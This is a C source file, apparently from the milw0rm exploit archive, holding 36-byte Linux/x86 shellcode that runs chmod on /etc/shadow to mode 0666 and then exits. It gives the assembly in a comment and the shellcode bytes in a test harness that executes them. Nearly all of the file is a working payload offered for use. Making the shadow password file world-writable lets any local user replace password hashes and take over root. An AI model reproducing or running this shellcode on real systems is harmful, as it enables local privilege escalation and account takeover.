43 lines
No EOL
850 B
C
43 lines
No EOL
850 B
C
/* By Kris Katterjohn 8/29/2006
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*
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* 36 byte shellcode to chmod("/etc/shadow", 0666) and exit for Linux/x86
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*
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* To remove exit(): Remove the last 5 bytes (0x6a - 0x80)
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*
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*
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*
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* section .text
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*
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* global _start
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*
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* _start:
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* xor edx, edx
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*
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* push byte 15
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* pop eax
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* push edx
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* push byte 0x77
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* push word 0x6f64
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* push 0x6168732f
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* push 0x6374652f
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* mov ebx, esp
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* push word 0666Q
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* pop ecx
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* int 0x80
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*
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* push byte 1
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* pop eax
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* int 0x80
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*/
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main()
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{
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char shellcode[] =
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"\x31\xd2\x6a\x0f\x58\x52\x6a\x77\x66\x68\x64\x6f\x68"
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"\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\x68"
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"\xb6\x01\x59\xcd\x80\x6a\x01\x58\xcd\x80";
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(*(void (*)()) shellcode)();
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}
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// milw0rm.com [2006-11-17]
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